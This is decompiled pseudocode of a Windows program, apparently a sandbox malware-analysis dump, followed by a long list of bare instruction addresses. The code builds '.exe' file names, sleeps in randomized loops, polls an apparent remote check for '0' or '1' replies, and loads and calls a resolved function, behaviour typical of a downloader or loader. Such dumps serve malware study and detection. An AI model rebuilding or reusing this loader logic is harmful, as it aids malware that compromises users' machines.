																								_t1677 = _t1774 + 0x23;
																								__eflags = _t1273 -  *((intOrPtr*)(_t1618 - 4)) + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L346;
																								} else {
																									goto L160;
																								}
																							}
																						}
																					} else {
																						_t1619 = _v440;
																						_t1775 =  &(_t1771->nLength);
																						_t1277 = _t1619;
																						__eflags = _t1775 - 0x1000;
																						if(_t1775 < 0x1000) {
																							L156:
																							_push(_t1775);
																							E0040ED7F(_t1619);
																							_t1854 = _t1854 + 8;
																							goto L157;
																						} else {
																							_t1467 =  *((intOrPtr*)(_t1619 - 4));
																							_t1677 = _t1775 + 0x23;
																							__eflags = _t1277 -  *((intOrPtr*)(_t1619 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L346;
																							} else {
																								goto L156;
																							}
																						}
																					}
																				} else {
																					_t1620 = _v488;
																					_t1776 = _t1770 + 1;
																					_t1281 = _t1620;
																					__eflags = _t1776 - 0x1000;
																					if(_t1776 < 0x1000) {
																						L152:
																						_push(_t1776);
																						E0040ED7F(_t1620);
																						_t1854 = _t1854 + 8;
																						goto L153;
																					} else {
																						_t1467 =  *((intOrPtr*)(_t1620 - 4));
																						_t1677 = _t1776 + 0x23;
																						__eflags = _t1281 -  *((intOrPtr*)(_t1620 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L346;
																						} else {
																							goto L152;
																						}
																					}
																				}
																			}
																		} else {
																			_t1621 = _v464;
																			_t1745 =  &(_t1745->nLength);
																			_t1287 = _t1621;
																			__eflags = _t1745 - 0x1000;
																			if(_t1745 < 0x1000) {
																				L142:
																				_push(_t1745);
																				E0040ED7F(_t1621);
																				_t1854 = _t1854 + 8;
																				goto L143;
																			} else {
																				_t1467 =  *((intOrPtr*)(_t1621 - 4));
																				_t1677 = _t1745 + 0x23;
																				__eflags = _t1287 -  *((intOrPtr*)(_t1621 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L142;
																				}
																			}
																		}
																	} else {
																		_t1622 = _v440;
																		_t1777 =  &(_t1744->nLength);
																		_t1291 = _t1622;
																		__eflags = _t1777 - 0x1000;
																		if(_t1777 < 0x1000) {
																			L138:
																			_push(_t1777);
																			E0040ED7F(_t1622);
																			_t1854 = _t1854 + 8;
																			goto L139;
																		} else {
																			_t1467 =  *((intOrPtr*)(_t1622 - 4));
																			_t1677 = _t1777 + 0x23;
																			__eflags = _t1291 -  *((intOrPtr*)(_t1622 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L138;
																			}
																		}
																	}
																} else {
																	_t1623 = _v488;
																	_t1778 = _t1743 + 1;
																	_t1295 = _t1623;
																	__eflags = _t1778 - 0x1000;
																	if(_t1778 < 0x1000) {
																		L134:
																		_push(_t1778);
																		E0040ED7F(_t1623);
																		_t1854 = _t1854 + 8;
																		goto L135;
																	} else {
																		_t1467 =  *((intOrPtr*)(_t1623 - 4));
																		_t1677 = _t1778 + 0x23;
																		__eflags = _t1295 -  *((intOrPtr*)(_t1623 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L134;
																		}
																	}
																}
															} else {
																_push(_t1581);
																_t1309 = E0040C6F0( &_v464,  &_v408);
																_v28 = 0xa;
																_t1310 = E0040C910( &_v440, _t1309,  &_v360);
																_t1854 = _t1890 + 8;
																_t1627 = _t1310;
																_v28 = 0xb;
																_t1808 =  *(_t1627 + 0x14);
																_t1781 =  *(_t1627 + 0x10);
																__eflags = _t1808 - _t1781 - 4;
																if(_t1808 - _t1781 < 4) {
																	_v412 = 0;
																	_t1627 = E00402990(_t1409, _t1627, _t1808, _t1815, 4, _v412, ".exe", 4);
																} else {
																	 *(_t1627 + 0x10) =  &(_t1781->lpSecurityDescriptor);
																	_t1330 = _t1627;
																	__eflags = _t1808 - 0x10;
																	if(_t1808 >= 0x10) {
																		_t1330 =  *_t1627;
																	}
																	 *((intOrPtr*)(_t1330 + _t1781)) = 0x6578652e;
																	 *((char*)(_t1330 +  &(_t1781->lpSecurityDescriptor))) = 0;
																}
																 *_t1815 = 0;
																 *(_t1815 + 0x10) = 0;
																 *(_t1815 + 0x14) = 0;
																asm("movups xmm0, [ecx]");
																asm("movups [esi], xmm0");
																asm("movq xmm0, [ecx+0x10]");
																asm("movq [esi+0x10], xmm0");
																 *(_t1627 + 0x10) = 0;
																 *(_t1627 + 0x14) = 0xf;
																 *_t1627 = 0;
																_t1782 = _v420;
																__eflags = _t1782 - 0x10;
																if(_t1782 < 0x10) {
																	L108:
																	_t1783 = _v444;
																	_v424 = 0;
																	_v420 = 0xf;
																	_v440 = 0;
																	__eflags = _t1783 - 0x10;
																	if(_t1783 < 0x10) {
																		L112:
																		_t1784 = _v340;
																		_v448 = 0;
																		_v444 = 0xf;
																		_v464 = 0;
																		__eflags = _t1784 - 0x10;
																		if(_t1784 < 0x10) {
																			L116:
																			_t1785 = _v364;
																			_v344 = 0;
																			_v340 = 0xf;
																			_v360 = 0;
																			__eflags = _t1785 - 0x10;
																			if(_t1785 < 0x10) {
																				goto L71;
																			} else {
																				_t1606 = _v384;
																				_t1761 = _t1785 + 1;
																				_t1314 = _t1606;
																				__eflags = _t1761 - 0x1000;
																				if(_t1761 < 0x1000) {
																					goto L70;
																				} else {
																					_t1467 =  *((intOrPtr*)(_t1606 - 4));
																					_t1677 = _t1761 + 0x23;
																					__eflags = _t1314 -  *((intOrPtr*)(_t1606 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L346;
																					} else {
																						goto L70;
																					}
																				}
																			}
																		} else {
																			_t1628 = _v360;
																			_t1786 = _t1784 + 1;
																			_t1317 = _t1628;
																			__eflags = _t1786 - 0x1000;
																			if(_t1786 < 0x1000) {
																				L115:
																				_push(_t1786);
																				E0040ED7F(_t1628);
																				_t1854 = _t1854 + 8;
																				goto L116;
																			} else {
																				_t1467 =  *((intOrPtr*)(_t1628 - 4));
																				_t1677 = _t1786 + 0x23;
																				__eflags = _t1317 -  *((intOrPtr*)(_t1628 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L115;
																				}
																			}
																		}
																	} else {
																		_t1629 = _v464;
																		_t1787 =  &(_t1783->nLength);
																		_t1321 = _t1629;
																		__eflags = _t1787 - 0x1000;
																		if(_t1787 < 0x1000) {
																			L111:
																			_push(_t1787);
																			E0040ED7F(_t1629);
																			_t1854 = _t1854 + 8;
																			goto L112;
																		} else {
																			_t1467 =  *((intOrPtr*)(_t1629 - 4));
																			_t1677 = _t1787 + 0x23;
																			__eflags = _t1321 -  *((intOrPtr*)(_t1629 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L111;
																			}
																		}
																	}
																} else {
																	_t1630 = _v440;
																	_t1788 =  &(_t1782->nLength);
																	_t1325 = _t1630;
																	__eflags = _t1788 - 0x1000;
																	if(_t1788 < 0x1000) {
																		L107:
																		_push(_t1788);
																		E0040ED7F(_t1630);
																		_t1854 = _t1854 + 8;
																		goto L108;
																	} else {
																		_t1467 =  *((intOrPtr*)(_t1630 - 4));
																		_t1677 = _t1788 + 0x23;
																		__eflags = _t1325 -  *((intOrPtr*)(_t1630 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L107;
																		}
																	}
																}
															}
														} else {
															_t1631 = _v336;
															_t1739 =  &(1[_t1739]);
															_t1331 = _t1631;
															__eflags = _t1739 - 0x1000;
															if(_t1739 < 0x1000) {
																L97:
																_push(_t1739);
																E0040ED7F(_t1631);
																_t1854 = _t1854 + 8;
																goto L98;
															} else {
																_t1467 =  *((intOrPtr*)(_t1631 - 4));
																_t1677 = _t1739 + 0x23;
																__eflags = _t1331 -  *((intOrPtr*)(_t1631 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L347;
																} else {
																	goto L97;
																}
															}
														}
													} else {
														_t1632 = _v464;
														_t1789 =  &(_t1738->nLength);
														_t1335 = _t1632;
														__eflags = _t1789 - 0x1000;
														if(_t1789 < 0x1000) {
															L93:
															_push(_t1789);
															E0040ED7F(_t1632);
															_t1854 = _t1854 + 8;
															goto L94;
														} else {
															_t1467 =  *((intOrPtr*)(_t1632 - 4));
															_t1677 = _t1789 + 0x23;
															__eflags = _t1335 -  *((intOrPtr*)(_t1632 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L347;
															} else {
																goto L93;
															}
														}
													}
												} else {
													_t1633 = _v440;
													_t1790 =  &(_t1737->nLength);
													_t1339 = _t1633;
													__eflags = _t1790 - 0x1000;
													if(_t1790 < 0x1000) {
														L89:
														_push(_t1790);
														E0040ED7F(_t1633);
														_t1854 = _t1854 + 8;
														goto L90;
													} else {
														_t1467 =  *((intOrPtr*)(_t1633 - 4));
														_t1677 = _t1790 + 0x23;
														__eflags = _t1339 -  *((intOrPtr*)(_t1633 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L347;
														} else {
															goto L89;
														}
													}
												}
											} else {
												_push(_t1572);
												_t1351 = E0040C6F0( &_v464,  &_v408);
												_v28 = 5;
												_t1352 = E0040C910( &_v440, _t1351,  &_v360);
												_t1854 = _t1887 + 8;
												_t1637 = _t1352;
												_v28 = 6;
												_t1808 =  *(_t1637 + 0x14);
												_t1793 =  *(_t1637 + 0x10);
												__eflags = _t1808 - _t1793 - 4;
												if(_t1808 - _t1793 < 4) {
													_v412 = 0;
													_t1637 = E00402990(_t1409, _t1637, _t1808, _t1815, 4, _v412, ".exe", 4);
												} else {
													 *(_t1637 + 0x10) =  &(_t1793->lpSecurityDescriptor);
													_t1372 = _t1637;
													__eflags = _t1808 - 0x10;
													if(_t1808 >= 0x10) {
														_t1372 =  *_t1637;
													}
													 *((intOrPtr*)(_t1372 + _t1793)) = 0x6578652e;
													 *((char*)(_t1372 +  &(_t1793->lpSecurityDescriptor))) = 0;
												}
												 *_t1815 = 0;
												 *(_t1815 + 0x10) = 0;
												 *(_t1815 + 0x14) = 0;
												asm("movups xmm0, [ecx]");
												asm("movups [esi], xmm0");
												asm("movq xmm0, [ecx+0x10]");
												asm("movq [esi+0x10], xmm0");
												 *(_t1637 + 0x10) = 0;
												 *(_t1637 + 0x14) = 0xf;
												 *_t1637 = 0;
												_t1794 = _v420;
												__eflags = _t1794 - 0x10;
												if(_t1794 < 0x10) {
													L59:
													_t1795 = _v444;
													_v424 = 0;
													_v420 = 0xf;
													_v440 = 0;
													__eflags = _t1795 - 0x10;
													if(_t1795 < 0x10) {
														L63:
														_t1796 = _v340;
														_v448 = 0;
														_v444 = 0xf;
														_v464 = 0;
														__eflags = _t1796 - 0x10;
														if(_t1796 < 0x10) {
															L67:
															_t1797 = _v364;
															_v344 = 0;
															_v340 = 0xf;
															_v360 = 0;
															__eflags = _t1797 - 0x10;
															if(_t1797 < 0x10) {
																L71:
																_v368 = 0;
																_v364 = 0xf;
																_v384 = 0;
																L72:
																_t1677 = _v388;
																__eflags = _t1677 - 0x10;
																if(_t1677 < 0x10) {
																	L344:
																	 *[fs:0x0] = _v36;
																	_pop(_t1809);
																	_pop(_t1816);
																	__eflags = _v44 ^ _t1828;
																	return E0040EB3F(_t1815, _t1409, _v44 ^ _t1828, _t1677, _t1809, _t1816);
																} else {
																	_t1542 = _v408;
																	_t1677 =  &(1[_t1677]);
																	_t1066 = _t1542;
																	__eflags = _t1677 - 0x1000;
																	if(_t1677 < 0x1000) {
																		L307:
																		_push(_t1677);
																		E0040ED7F(_t1542);
																		goto L344;
																	} else {
																		_t1467 =  *((intOrPtr*)(_t1542 - 4));
																		_t1677 = _t1677 + 0x23;
																		__eflags = _t1066 -  *((intOrPtr*)(_t1542 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L307;
																		}
																	}
																}
															} else {
																_t1606 = _v384;
																_t1761 = _t1797 + 1;
																_t1356 = _t1606;
																__eflags = _t1761 - 0x1000;
																if(_t1761 < 0x1000) {
																	L70:
																	_push(_t1761);
																	E0040ED7F(_t1606);
																	_t1854 = _t1854 + 8;
																	goto L71;
																} else {
																	_t1467 =  *((intOrPtr*)(_t1606 - 4));
																	_t1677 = _t1761 + 0x23;
																	__eflags = _t1356 -  *((intOrPtr*)(_t1606 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L346;
																	} else {
																		goto L70;
																	}
																}
															}
														} else {
															_t1638 = _v360;
															_t1798 = _t1796 + 1;
															_t1359 = _t1638;
															__eflags = _t1798 - 0x1000;
															if(_t1798 < 0x1000) {
																L66:
																_push(_t1798);
																E0040ED7F(_t1638);
																_t1854 = _t1854 + 8;
																goto L67;
															} else {
																_t1467 =  *((intOrPtr*)(_t1638 - 4));
																_t1677 = _t1798 + 0x23;
																__eflags = _t1359 -  *((intOrPtr*)(_t1638 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L346;
																} else {
																	goto L66;
																}
															}
														}
													} else {
														_t1639 = _v464;
														_t1799 =  &(_t1795->nLength);
														_t1363 = _t1639;
														__eflags = _t1799 - 0x1000;
														if(_t1799 < 0x1000) {
															L62:
															_push(_t1799);
															E0040ED7F(_t1639);
															_t1854 = _t1854 + 8;
															goto L63;
														} else {
															_t1467 =  *((intOrPtr*)(_t1639 - 4));
															_t1677 = _t1799 + 0x23;
															__eflags = _t1363 -  *((intOrPtr*)(_t1639 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L346;
															} else {
																goto L62;
															}
														}
													}
												} else {
													_t1640 = _v440;
													_t1800 =  &(_t1794->nLength);
													_t1367 = _t1640;
													__eflags = _t1800 - 0x1000;
													if(_t1800 < 0x1000) {
														L58:
														_push(_t1800);
														E0040ED7F(_t1640);
														_t1854 = _t1854 + 8;
														goto L59;
													} else {
														_t1467 =  *((intOrPtr*)(_t1640 - 4));
														_t1677 = _t1800 + 0x23;
														__eflags = _t1367 -  *((intOrPtr*)(_t1640 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L346;
														} else {
															goto L58;
														}
													}
												}
											}
										} else {
											_t1641 = _v488;
											_t1733 = _t1733 + 1;
											_t1373 = _t1641;
											__eflags = _t1733 - 0x1000;
											if(_t1733 < 0x1000) {
												L48:
												_push(_t1733);
												E0040ED7F(_t1641);
												_t1854 = _t1854 + 8;
												goto L49;
											} else {
												_t1467 =  *((intOrPtr*)(_t1641 - 4));
												_t1677 = _t1733 + 0x23;
												__eflags = _t1373 -  *((intOrPtr*)(_t1641 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L345;
												} else {
													goto L48;
												}
											}
										}
									} else {
										_t1642 = _v440;
										_t1801 =  &(_t1732->nLength);
										_t1378 = _t1642;
										__eflags = _t1801 - 0x1000;
										if(_t1801 < 0x1000) {
											L44:
											_push(_t1801);
											E0040ED7F(_t1642);
											_t1854 = _t1854 + 8;
											goto L45;
										} else {
											_t1467 =  *((intOrPtr*)(_t1642 - 4));
											_t1677 = _t1801 + 0x23;
											__eflags = _t1378 -  *((intOrPtr*)(_t1642 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												L345:
												E004134A7(_t1409, _t1677, __eflags);
												L346:
												E004134A7(_t1409, _t1677, __eflags);
												L347:
												E004134A7(_t1409, _t1677, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t1828);
												_t1830 = _t1854;
												_push(0xffffffff);
												_push(0x42c9a7);
												_push( *[fs:0x0]);
												_t1862 = _t1854 - 0x4dc;
												_t947 =  *0x43d054; // 0x298e9dc2
												_t948 = _t947 ^ _t1830;
												_v628 = _t948;
												_push(_t1409);
												_push(_t1815);
												_push(_t1808);
												_push(_t948);
												 *[fs:0x0] =  &_v624;
												_v616 = 0;
												_t950 = E00405F40(_t1409, _t1808); // executed
												_t1411 = Sleep;
												__eflags = _t950;
												if(__eflags != 0) {
													_t1815 = 0x7d0;
													do {
														_t1036 = E00417D76(_t1467, __eflags);
														asm("cdq");
														_t1677 = _t1036 % 0x7d0 + 0x3e8;
														Sleep(_t1036 % 0x7d0 + 0x3e8);
														__eflags = E00405F40(Sleep, _t1808);
													} while (__eflags != 0);
												}
												E00401970(_t1411,  &_v772);
												_v32 = 1;
												_t954 = E00402520( &_v1164, E0040B840(E00409300(_t1677, _t1808, _t1815)));
												_v32 = 2;
												_t957 = E00402520( &_v1140, E0040B870(E00409270(_t1411, _t1677, _t954, _t1815)));
												_v32 = 3;
												L385();
												_t959 = E00402520( &_v1284, E0040B720(_t957));
												_v32 = 4;
												_t960 = E0040C8B0( &_v1260, 0x450de0, _t959);
												_v32 = 5;
												_t961 = E0040C910( &_v1236, _t960,  &_v20);
												_v32 = 6;
												_t962 = E0040C9C0( &_v1212, _t961, _t957);
												_v32 = 7;
												_t963 = E0040C9C0( &_v1188, _t962, _t954);
												_v32 = 8;
												E0040C910( &_v116, _t963, 0x450dc8);
												_t1868 = _t1862 - 0x14 + 0x14;
												E00402450(_t1411,  &_v1188);
												E00402450(_t1411,  &_v1212);
												E00402450(_t1411,  &_v1236);
												E00402450(_t1411,  &_v1260);
												E00402450(_t1411,  &_v1284);
												E00402450(_t1411,  &_v1140);
												_v32 = 0x10;
												E00402450(_t1411,  &_v1164);
												_t1818 = 0;
												__eflags = 0;
												_t1811 = 0xc8;
												while(1) {
													_t1818 =  &(1[_t1818]);
													_t972 = E00402410( &_v116);
													_t1489 =  &_v772;
													_t973 = E00402310(_t1411,  &_v772, _t1811, _t972); // executed
													__eflags = _t973;
													if(_t973 == 0) {
														goto L356;
													}
													E00402520( &_v68, E00402380( &_v772));
													_t1689 = "0";
													_t982 = E00402810( &_v68, "0");
													__eflags = _t982;
													if(_t982 == 0) {
														_t1689 = "1";
														_t1034 = E00402810( &_v68, "1");
														__eflags = _t1034;
														if(_t1034 == 0) {
															_t1489 =  &_v68;
															E00402450(_t1411,  &_v68);
															goto L356;
														}
													}
													E00402450(_t1411,  &_v68);
													E0040BAF0( &_v92);
													_t1869 = _t1868 - 0x14;
													_v32 = 0x11;
													E00401970(_t1411,  &_v1100);
													_v32 = 0x12;
													while(1) {
														_t988 = E00402520( &_v1140, E0040B7F0(E00409390(_t1411, _t1689, _t1811, _t1818)));
														_t1689 = 0x450df8;
														_v32 = 0x15;
														_t989 = E0040C8B0( &_v1164, 0x450df8, _t988);
														_t1869 = _t1869 + 4;
														_v32 = 0x16;
														_t991 = E00402310(_t1411,  &_v1100, _t1811, E00402410(_t989)); // executed
														_t1818 = _t991;
														E00402450(_t1411,  &_v1164);
														_v32 = 0x12;
														E00402450(_t1411,  &_v1140);
														__eflags = _t991;
														if(_t991 == 0) {
															goto L363;
														}
														E00402420( &_v92, E00402380( &_v1100));
														_t996 = E00402400( &_v92);
														__eflags = _t996 - 0xa;
														if(_t996 <= 0xa) {
															goto L363;
														}
														__eflags = _t996 - 0x64;
														if(_t996 >= 0x64) {
															goto L363;
														}
														_t1870 = _t1869 - 0x14;
														_t1819 = 0;
														__eflags = 0;
														E00401970(_t1411,  &_v444);
														_v32 = 0x17;
														do {
															_v1116 = _t1819 + 1;
															_t1000 = E00402520( &_v1140, E0040B820(E00409420()));
															_t1690 = 0x450df8;
															_v32 = 0x1a;
															_t1001 = E0040C8B0( &_v1164, 0x450df8, _t1000);
															_t1870 = _t1870 + 4;
															_v32 = 0x1b;
															_t1003 = E00402310(_t1411,  &_v444, _t1811, E00402410(_t1001)); // executed
															E00402450(_t1411,  &_v1164);
															_v32 = 0x17;
															E00402450(_t1411,  &_v1140);
															__eflags = _t1003;
															if(_t1003 == 0) {
																goto L368;
															} else {
																_t1411 = E00402390( &_v444);
																__eflags = _t1411 - 0x16;
																if(__eflags <= 0) {
																	goto L368;
																} else {
																	_push( ~(0 | __eflags > 0x00000000) |  &(1[_t1411]));
																	_t1811 = E0041626E();
																	_t1019 = E00402350( &_v444, _t1018,  &(1[_t1411]));
																	_push( ~(0 | __eflags > 0x00000000) | _t1411 * 0x00000002); // executed
																	_t1022 = E0041626E(); // executed
																	_t1876 = _t1870 + 4 - 0x14;
																	_v1104 = _t1022;
																	E0040BB10(_t1411, _t1876, _t1411 * 2 >> 0x20, _t1018,  &_v92);
																	_push( &_v1104);
																	_t1026 = E00403770(_t1411, _t1018, _t1019, _t1811); // executed
																	_t1690 = _t1026;
																	_t1027 = E00402B70(_v1104, _t1026, __eflags,  &_v1112,  &_v1112); // executed
																	_t1870 = _t1876 + 0x24;
																	_v1108 = _t1027;
																	__eflags = _v1112;
																	if(_v1112 != 0) {
																		_t1811 = Sleep;
																		_t1819 = 0;
																		_v1104 = 0;
																		_t1411 = 0;
																		__eflags = 0;
																		do {
																			_t1532 = _v1108(E00402410(0x450e10), E00402410(0x450d98));
																			_t1870 = _t1870 + 8;
																			_t1031 = _v1104;
																			_t1690 = 1;
																			__eflags = _t1031;
																			if(_t1031 != 0) {
																				__eflags = _t1532;
																				_t1411 =  ==  ? 1 : _t1411 & 0x000000ff;
																			}
																			__eflags = _t1819 - 0xa;
																			if(_t1819 >= 0xa) {
																				__eflags = _t1532 - 1;
																				_t1411 =  !=  ? _t1690 : _t1411 & 0x000000ff;
																			}
																			__eflags = _t1819 - 0xf;
																			if(_t1819 < 0xf) {
																				__eflags = _t1819 - 5;
																				if(_t1819 < 5) {
																					goto L381;
																				} else {
																					goto L379;
																				}
																			} else {
																				__eflags = _t1532 - 1;
																				if(_t1532 == 1) {
																					_t1411 = _t1532;
																				}
																				L379:
																				__eflags = _t1031;
																				if(_t1031 != 0) {
																					goto L381;
																				} else {
																					__eflags = _t1532 - 0xfffffffe;
																					if(__eflags == 0) {
																						Sleep(0x7d0); // executed
																					} else {
																						goto L381;
																					}
																				}
																			}
																			goto L384;
																			L381:
																			__eflags = _t1532 - 1;
																			_t1033 =  ==  ? _t1690 : _t1031 & 0x000000ff;
																			_t1819 = _t1819 + 1;
																			_v1104 =  ==  ? _t1690 : _t1031 & 0x000000ff;
																			Sleep(0x7d0); // executed
																			__eflags = _t1411;
																		} while (__eflags == 0);
																	} else {
																		goto L368;
																	}
																}
															}
															L384:
															E004054C0(_t1411, __eflags); // executed
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t1830);
															_t1831 = _t1870;
															_t1007 =  *0x43d054; // 0x298e9dc2
															_v1844 = _t1007 ^ _t1831;
															_v1856 = 0x5e005d5b;
															_v1852 = 0x5d115e46;
															_v1848 = 0x2e13;
															_t1514 =  *( *[fs:0x2c]);
															_t1010 =  *0x450e84; // 0x80000017
															__eflags = _t1010 -  *((intOrPtr*)(_t1514 + 4));
															if(_t1010 >  *((intOrPtr*)(_t1514 + 4))) {
																E0040EEC8(_t1010, 0x450e84);
																__eflags =  *0x450e84 - 0xffffffff;
																if(__eflags == 0) {
																	asm("movaps xmm0, [0x439d40]");
																	asm("movups [0x450e60], xmm0");
																	asm("movq xmm0, [ebp-0x10]");
																	asm("movq [0x450e70], xmm0");
																	 *0x450e78 = _v40;
																	E0040F1DA(_t1514, __eflags, 0x42d400);
																	E0040EE7E(0x450e84);
																}
															}
															__eflags = _v36 ^ _t1831;
															return E0040EB3F(0x450e60, _t1411, _v36 ^ _t1831, _t1690, _t1811, _t1819);
															goto L389;
															L368:
															_t1819 = _v1116;
															__eflags = _t1819 - 0xa;
														} while (__eflags < 0);
														goto L384;
														L363:
														Sleep(0xbb8);
													}
													L356:
													__eflags = _t1818 - 0x12c;
													if(__eflags <= 0) {
														_t793 = _t1818 + 3; // 0x4
														Sleep(_t793 * 0x3e8);
													} else {
														_t976 = E00417D76(_t1489, __eflags);
														asm("cdq");
														Sleep((_t976 % _t1811 + 0x67) * 0x3e8);
													}
												}
											} else {
												goto L44;
											}
										}
									}
								}
							} else {
								goto L25;
							}
						}
					}
				}
				L389:
			}

0x00406800
0x00406800
0x00406800
0x00406800
0x00406801
0x00406809
0x00406810
0x00406814
0x00406816
0x00406818
0x00406823
0x00406824
0x00406825
0x00406828
0x00406829
0x00406830
0x00406834
0x0040683a
0x0040684a
0x0040684f
0x00406857
0x0040686a
0x00406871
0x00406879
0x00406883
0x00406888
0x0040688b
0x0040688d
0x00406891
0x00406896
0x0040689e
0x004068c4
0x004068d2
0x004068a0
0x004068a3
0x004068a6
0x004068ab
0x004068ad
0x004068ad
0x004068af
0x004068b6
0x004068b6
0x004068d4
0x004068df
0x004068e3
0x004068e8
0x004068ed
0x004068f4
0x004068fb
0x00406902
0x00406907
0x0040690c
0x0040690f
0x00406912
0x00406917
0x00406945
0x00406945
0x00406948
0x0040694f
0x00406956
0x0040695d
0x0040698b
0x0040698b
0x0040698e
0x00406995
0x0040699c
0x004069a3
0x004069d1
0x004069d1
0x004069d8
0x004069df
0x004069e3
0x004069e5
0x00000000
0x004069e7
0x004069f4
0x004069f9
0x004069fa
0x004069ff
0x00406a02
0x00406a02
0x00000000
0x004069a5
0x004069a5
0x004069a8
0x004069a9
0x004069b1
0x004069c7
0x004069c7
0x004069c9
0x004069ce
0x00000000
0x004069b3
0x004069b3
0x004069b6
0x004069c1
0x00000000
0x00000000
0x00000000
0x00000000
0x004069c1
0x004069b1
0x0040695f
0x0040695f
0x00406962
0x00406963
0x0040696b
0x00406981
0x00406981
0x00406983
0x00406988
0x00000000
0x0040696d
0x0040696d
0x00406970
0x0040697b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040697b
0x0040696b
0x00406919
0x00406919
0x0040691c
0x0040691d
0x00406925
0x0040693b
0x0040693b
0x0040693d
0x00406942
0x00000000
0x00406927
0x00406927
0x0040692a
0x00406935
0x00406a94
0x00406a94
0x00000000
0x00000000
0x00000000
0x00000000
0x00406935
0x00406925
0x00406a08
0x00406a08
0x00406a08
0x00406a0c
0x00406a0c
0x00406a12
0x00406a3c
0x00406a3c
0x00406a3f
0x00406a46
0x00406a4d
0x00406a54
0x00406a7e
0x00406a84
0x00406a93
0x00406a56
0x00406a56
0x00406a59
0x00406a5a
0x00406a62
0x00406a74
0x00406a74
0x00406a76
0x00000000
0x00406a64
0x00406a64
0x00406a67
0x00406a72
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a72
0x00406a62
0x00406a14
0x00406a14
0x00406a17
0x00406a18
0x00406a20
0x00406a32
0x00406a32
0x00406a34
0x00406a39
0x00000000
0x00406a22
0x00406a22
0x00406a22
0x00406a25
0x00406a30
0x00406a99
0x00406a99
0x00406a9e
0x00406a9f
0x00406aa0
0x00406aa1
0x00406aa9
0x00406aac
0x00406ab0
0x00406ab4
0x00406ab6
0x00406ab8
0x00406ac3
0x00406ac4
0x00406ac5
0x00406acb
0x00406ad0
0x00406ad2
0x00406ad5
0x00406ad6
0x00406ad7
0x00406adb
0x00406ae1
0x00406ae3
0x00406ae9
0x00406aef
0x00406af9
0x00406b03
0x00406b0d
0x00406b14
0x00406b1b
0x00406b20
0x00406b22
0x00407e4e
0x00407e53
0x00407e57
0x00407e5c
0x00407e6d
0x00407e72
0x00407e7c
0x00407e83
0x00407e85
0x00407e8a
0x00407e90
0x00407e97
0x00407e9c
0x00407e9f
0x00407ea6
0x00407ea8
0x00407eba
0x00407ec1
0x00407ec6
0x00407ed3
0x00407ed8
0x00407ed8
0x00407ea6
0x00407edb
0x00407ee0
0x00407ee2
0x00407ee4
0x00407eed
0x00407ef4
0x00407ef8
0x00407efd
0x00407efd
0x00407f04
0x00407f09
0x00407f13
0x00407f1d
0x00407f27
0x00407f2e
0x00407f2e
0x00407f31
0x00407f31
0x00407f33
0x00407f34
0x00407f34
0x00407f46
0x00407f4b
0x00407f4f
0x00407f57
0x00407f5f
0x00407f62
0x00407f92
0x00407fa7
0x00407f64
0x00407f67
0x00407f6a
0x00407f76
0x00407f7d
0x00407f83
0x00407f83
0x00407fac
0x00407fb6
0x00407fc0
0x00407fca
0x00407fcd
0x00407fd4
0x00407fd9
0x00407fe1
0x00407fe8
0x00407fef
0x00407ff8
0x00408009
0x0040800e
0x00408018
0x0040801d
0x00408023
0x00408026
0x00408057
0x00408057
0x0040805b
0x00408061
0x0040806b
0x00408075
0x0040807c
0x0040807f
0x004080b0
0x004080b0
0x004080b4
0x004080ba
0x004080c4
0x004080ce
0x004080d5
0x004080d8
0x00408109
0x00408109
0x00408114
0x0040811b
0x00408120
0x00408123
0x0040812d
0x00408130
0x00408135
0x00408139
0x0040813e
0x00408141
0x00408143
0x00408356
0x0040835b
0x00408365
0x0040836f
0x00408379
0x00408382
0x00408389
0x0040838f
0x00408396
0x0040839b
0x0040839e
0x004083a5
0x004083ad
0x004083b5
0x004083c1
0x004083d2
0x004083da
0x004083df
0x004083ec
0x004083f1
0x004083f1
0x004083a5
0x004083f4
0x004083fb
0x004083fd
0x004083fd
0x00408400
0x00408400
0x00408407
0x00408408
0x00408408
0x00408400
0x0040840d
0x00408412
0x0040841c
0x00408426
0x00408430
0x00408437
0x00408437
0x0040843a
0x00408440
0x00408440
0x00408442
0x00408443
0x00408443
0x00408455
0x0040845a
0x0040845e
0x00408466
0x0040846e
0x00408471
0x004084a1
0x004084b6
0x00408473
0x00408476
0x00408479
0x00408485
0x0040848c
0x00408492
0x00408492
0x004084bb
0x004084c5
0x004084cf
0x004084d9
0x004084dc
0x004084e3
0x004084e8
0x004084f0
0x004084f7
0x004084fe
0x00408507
0x00408518
0x0040851d
0x00408527
0x0040852c
0x00408532
